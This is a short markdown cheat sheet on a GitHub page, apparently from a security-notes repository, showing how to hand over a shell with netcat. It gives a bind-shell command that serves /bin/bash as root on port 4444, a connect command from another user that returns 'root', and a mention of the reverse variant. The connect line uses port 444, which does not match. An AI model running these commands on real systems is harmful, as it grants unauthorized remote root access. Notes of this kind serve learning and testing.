Skip to content

Latest commit

 

History

History
15 lines (12 loc) · 239 Bytes

netcat.md

File metadata and controls

15 lines (12 loc) · 239 Bytes

Netcat

Hand over a shell:

root$ nc -lvp 4444 -e /bin/bash

Now connect to it from another user

otheruser$ nc 192.168.1.101 444
whoami
root

The same thing can be done in reverse. The one listening is giving us the shell.